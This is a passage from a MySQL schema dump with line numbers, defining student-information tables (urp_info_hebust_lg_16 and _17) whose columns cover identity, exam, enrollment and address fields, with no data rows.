`FEE_CATEGORY` varchar(50) DEFAULT NULL, 305 | `NATION` varchar(50) DEFAULT NULL, 306 | `BIRTH_PLACE` varchar(50) DEFAULT NULL, 307 | `BIRTH_DATE` varchar(50) DEFAULT NULL, 308 | `POLITICS_STATUS` varchar(50) DEFAULT NULL, 309 | `EXAM_REGION` varchar(50) DEFAULT NULL, 310 | `GRADUATE_SCHOOL` varchar(50) DEFAULT NULL, 311 | `GK_SCORE` varchar(50) DEFAULT NULL, 312 | `MATRICULATE_ID` varchar(50) DEFAULT NULL, 313 | `GK_ID` varchar(50) DEFAULT NULL, 314 | `GK_LANGUAGE` varchar(50) DEFAULT NULL, 315 | `CONTACT_ADDRESS` varchar(100) DEFAULT NULL, 316 | `POSTCODE` varchar(50) DEFAULT NULL, 317 | `PATRIARCH_INFO` varchar(50) DEFAULT NULL, 318 | `ENROLLMENT_DATE` varchar(50) DEFAULT NULL, 319 | `DEPARTMENT` varchar(50) DEFAULT NULL, 320 | `MAJOR` varchar(50) DEFAULT NULL, 321 | `MAJOR_DIRECTION` varchar(50) DEFAULT NULL, 322 | `GRADE` varchar(50) DEFAULT NULL, 323 | `CLASS` varchar(50) DEFAULT NULL, 324 | `HAS_ROLL` varchar(50) DEFAULT NULL, 325 | `HAS_NATIONAL_ROLL` varchar(50) DEFAULT NULL, 326 | `SCHOOL_PART` varchar(50) DEFAULT NULL, 327 | `TRANSACTION` varchar(50) DEFAULT NULL, 328 | `FOREIGN_LANGUAGE` varchar(50) DEFAULT NULL, 329 | `DORM_ADDRESS` varchar(50) DEFAULT NULL, 330 | `YCSJ` varchar(50) DEFAULT NULL, 331 | `TRAIN_LEVEL` varchar(50) DEFAULT NULL, 332 | `TRAIN_PATTERN` varchar(50) DEFAULT NULL, 333 | `SHUNT_DIRECTION` varchar(50) DEFAULT NULL, 334 | `LEAVE_SCHOOL` varchar(50) DEFAULT NULL, 335 | `COMMENT` varchar(50) DEFAULT NULL, 336 | `COMMENT1` varchar(50) DEFAULT NULL, 337 | `COMMENT2` varchar(50) DEFAULT NULL, 338 | `COMMENT3` varchar(50) DEFAULT NULL, 339 | PRIMARY KEY (`ID`,`STUID`) 340 | ) ENGINE=InnoDB AUTO_INCREMENT=567 DEFAULT CHARSET=utf8; 341 | 342 | -- ---------------------------- 343 | -- Table structure for urp_info_hebust_lg_16 344 | -- ---------------------------- 345 | DROP TABLE IF EXISTS `urp_info_hebust_lg_16`; 346 | CREATE TABLE `urp_info_hebust_lg_16` ( 347 | `ID` int(10) NOT NULL AUTO_INCREMENT, 348 | `STUID` varchar(50) NOT NULL, 349 | `NAME` varchar(50) DEFAULT NULL, 350 | `NAME_PY` varchar(50) DEFAULT NULL, 351 | `NAME_EN` varchar(50) DEFAULT NULL, 352 | `NAME_OLD` varchar(50) DEFAULT NULL, 353 | `ICID` varchar(50) DEFAULT NULL, 354 | `GENDER` varchar(50) DEFAULT NULL, 355 | `STU_CATEGORY` varchar(50) DEFAULT NULL, 356 | `SPECIAL_CATEGORY` varchar(50) DEFAULT NULL, 357 | `SCHOOL_ROLL_STATUS` varchar(50) DEFAULT NULL, 358 | `FEE_CATEGORY` varchar(50) DEFAULT NULL, 359 | `NATION` varchar(50) DEFAULT NULL, 360 | `BIRTH_PLACE` varchar(50) DEFAULT NULL, 361 | `BIRTH_DATE` varchar(50) DEFAULT NULL, 362 | `POLITICS_STATUS` varchar(50) DEFAULT NULL, 363 | `EXAM_REGION` varchar(50) DEFAULT NULL, 364 | `GRADUATE_SCHOOL` varchar(50) DEFAULT NULL, 365 | `GK_SCORE` varchar(50) DEFAULT NULL, 366 | `MATRICULATE_ID` varchar(50) DEFAULT NULL, 367 | `GK_ID` varchar(50) DEFAULT NULL, 368 | `GK_LANGUAGE` varchar(50) DEFAULT NULL, 369 | `CONTACT_ADDRESS` varchar(100) DEFAULT NULL, 370 | `POSTCODE` varchar(50) DEFAULT NULL, 371 | `PATRIARCH_INFO` varchar(50) DEFAULT NULL, 372 | `ENROLLMENT_DATE` varchar(50) DEFAULT NULL, 373 | `DEPARTMENT` varchar(50) DEFAULT NULL, 374 | `MAJOR` varchar(50) DEFAULT NULL, 375 | `MAJOR_DIRECTION` varchar(50) DEFAULT NULL, 376 | `GRADE` varchar(50) DEFAULT NULL, 377 | `CLASS` varchar(50) DEFAULT NULL, 378 | `HAS_ROLL` varchar(50) DEFAULT NULL, 379 | `HAS_NATIONAL_ROLL` varchar(50) DEFAULT NULL, 380 | `SCHOOL_PART` varchar(50) DEFAULT NULL, 381 | `TRANSACTION` varchar(50) DEFAULT NULL, 382 | `FOREIGN_LANGUAGE` varchar(50) DEFAULT NULL, 383 | `DORM_ADDRESS` varchar(50) DEFAULT NULL, 384 | `YCSJ` varchar(50) DEFAULT NULL, 385 | `TRAIN_LEVEL` varchar(50) DEFAULT NULL, 386 | `TRAIN_PATTERN` varchar(50) DEFAULT NULL, 387 | `SHUNT_DIRECTION` varchar(50) DEFAULT NULL, 388 | `LEAVE_SCHOOL` varchar(50) DEFAULT NULL, 389 | `COMMENT` varchar(50) DEFAULT NULL, 390 | `COMMENT1` varchar(50) DEFAULT NULL, 391 | `COMMENT2` varchar(50) DEFAULT NULL, 392 | `COMMENT3` varchar(50) DEFAULT NULL, 393 | PRIMARY KEY (`ID`,`STUID`) 394 | ) ENGINE=InnoDB AUTO_INCREMENT=1435 DEFAULT CHARSET=utf8; 395 | 396 | -- ---------------------------- 397 | -- Table structure for urp_info_hebust_lg_17 398 | -- ---------------------------- 399 | DROP TABLE IF EXISTS `urp_info_hebust_lg_17`; 400 | CREATE TABLE `urp_info_hebust_lg_17` ( 401 | `ID` int(10) NOT NULL AUTO_INCREMENT, 402 | `STUID` varchar(50) NOT NULL, 403 | `NAME` varchar(50) DEFAULT NULL, 404 | `NAME_PY` varchar(50) DEFAULT NULL, 405 | `NAME_EN` varchar(50) DEFAULT NULL, 406 | `NAME_OLD` varchar(50) DEFAULT NULL, 407 | `ICID` varchar(50) DEFAULT NULL, 408 | `GENDER` varchar(50) DEFAULT NULL, 409 | `STU_CATEGORY` varchar(50) DEFAULT NULL, 410 | `SPECIAL_CATEGORY` varchar(50) DEFAULT NULL, 411 | `SCHOOL_ROLL_STATUS` varchar(50) DEFAULT NULL, 412 | `FEE_CATEGORY` varchar(50) DEFAULT NULL, 413 | `NATION` varchar(50) DEFAULT NULL, 414 | `BIRTH_PLACE` varchar(50) DEFAULT NULL, 415 | `BIRTH_DATE` varchar(50) DEFAULT NULL, 416 | `POLITICS_STATUS` varchar(50) DEFAULT NULL, 417 | `EXAM_REGION` varchar(50) DEFAULT NULL, 418 | `GRADUATE_SCHOOL` varchar(50) DEFAULT NULL, 419 | `GK_SCORE` varchar(50) DEFAULT NULL, 420 | `MATRICULATE_ID` varchar(50) DEFAULT NULL, 421 | `GK_ID` varchar(50) DEFAULT NULL, 422 | `GK_LANGUAGE` varchar(50) DEFAULT NULL, 423 | `CONTACT_ADDRESS` varchar(100) DEFAULT NULL, 424 | `POSTCODE` varchar(50) DEFAULT NULL, 425 | `PATRIARCH_INFO` varchar(50) DEFAULT NULL, 426 | `ENROLLMENT_DATE` varchar(50) DEFAULT NULL, 427 | `DEPARTMENT` varchar(50) DEFAULT NULL, 428 | `MAJOR` varchar(50) DEFAULT NULL, 429 | `MAJOR_DIRECTION` varchar(50) DEFAULT NULL, 430 | `GRADE` varchar(50) DEFAULT NULL, 431 | `CLASS` varchar(50) DEFAULT NULL, 432 | `HAS_ROLL` varchar(50) DEFAULT NULL, 433 | `HAS_NATIONAL_ROLL` varchar(50) DEFAULT NULL, 434 | `SCHOOL_PART` varchar(50) DEFAULT NULL, 435 | `TRANSACTION` varchar(50) DEFAULT NULL, 436 | `FOREIGN_LANGUAGE` varchar(50) DEFAULT NULL, 437 | `DORM_ADDRESS` varchar(50) DEFAULT NULL, 438 | `YCSJ` varchar(50) DEFAULT NULL, 439 | `TRAIN_LEVEL` varchar(50) DEFAULT NULL, 440 | `TRAIN_PATTERN` varchar(50) DEFAULT NULL, 441 | `SHUNT_DIRECTION` varchar(50) DEFAULT NULL, 442 | `LEAVE_SCHOOL` varchar(50) DEFAULT NULL, 443 | `COMMENT` varchar(50) DEFAULT NULL, 444 | `COMMENT1` varchar(50) DEFAULT NULL, 445 | `COMMENT2` varchar(50) DEFAULT NULL, 446 | `COMMENT3` varchar(50) DEFAULT NULL, 447 | PRIMARY KEY (`ID`,`STUID`) 448 | ) ENGINE=InnoDB AUTO_INCREMENT=640 DEFAULT CHARSET=utf8; 449 | --------------------------------------------------------------------------------